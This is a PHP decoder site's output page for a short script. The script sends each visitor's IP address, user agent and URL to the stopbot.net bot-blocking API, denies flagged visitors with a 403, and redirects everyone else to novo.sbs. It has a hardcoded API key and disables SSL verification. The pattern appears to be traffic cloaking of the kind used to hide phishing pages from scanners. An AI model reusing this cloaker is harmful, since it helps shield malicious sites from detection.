Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $apikey = '7e45d2152a02d3bb159daeed77ac0514'; // Replace with your actual API key ..

Decoded Output download

<?php 
$apikey = '7e45d2152a02d3bb159daeed77ac0514';  // Replace with your actual API key 
$ip = $_SERVER['REMOTE_ADDR'];  // Get visitor's IP address 
$userAgent = urlencode($_SERVER['HTTP_USER_AGENT']);  // URL-encode user agent 
$url = urlencode($_SERVER['REQUEST_URI']);  // URL-encode the current URL 
 
// Build the full API request URL 
$apiUrl = "https://stopbot.net/api/blocker?apikey=$apikey&ip=$ip&ua=$userAgent&url=$url"; 
 
// Initialize cURL session 
$ch = curl_init($apiUrl); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Optional: Disable SSL verification 
 
// Execute the cURL request 
$response = curl_exec($ch); 
 
// Handle errors if cURL fails 
if ($response === false) { 
    echo 'cURL Error: ' . curl_error($ch); 
    exit; 
} 
 
curl_close($ch); 
 
// Decode the JSON response 
$responseData = json_decode($response, true); 
 
// Check if the API indicates that access should be blocked 
if (isset($responseData['IPStatus']['BlockAccess']) && $responseData['IPStatus']['BlockAccess'] == 1) { 
    // Block access and show 'Access Denied' 
    header('HTTP/1.1 403 Forbidden'); 
    echo 'Access Denied'; 
    exit; 
} 
header('Location: https://novo.sbs'); 
exit; 
?>

Did this file decode correctly?

Original Code

<?php
$apikey = '7e45d2152a02d3bb159daeed77ac0514';  // Replace with your actual API key
$ip = $_SERVER['REMOTE_ADDR'];  // Get visitor's IP address
$userAgent = urlencode($_SERVER['HTTP_USER_AGENT']);  // URL-encode user agent
$url = urlencode($_SERVER['REQUEST_URI']);  // URL-encode the current URL

// Build the full API request URL
$apiUrl = "https://stopbot.net/api/blocker?apikey=$apikey&ip=$ip&ua=$userAgent&url=$url";

// Initialize cURL session
$ch = curl_init($apiUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Optional: Disable SSL verification

// Execute the cURL request
$response = curl_exec($ch);

// Handle errors if cURL fails
if ($response === false) {
    echo 'cURL Error: ' . curl_error($ch);
    exit;
}

curl_close($ch);

// Decode the JSON response
$responseData = json_decode($response, true);

// Check if the API indicates that access should be blocked
if (isset($responseData['IPStatus']['BlockAccess']) && $responseData['IPStatus']['BlockAccess'] == 1) {
    // Block access and show 'Access Denied'
    header('HTTP/1.1 403 Forbidden');
    echo 'Access Denied';
    exit;
}
header('Location: https://novo.sbs');
exit;
?>

Function Calls

urlencode 1

Variables

$ip None
$apikey 7e45d2152a02d3bb159daeed77ac0514

Stats

MD5 4fcfc8758ea0a5140f1fb4fe23d8e45f
Eval Count 0
Decode Time 41 ms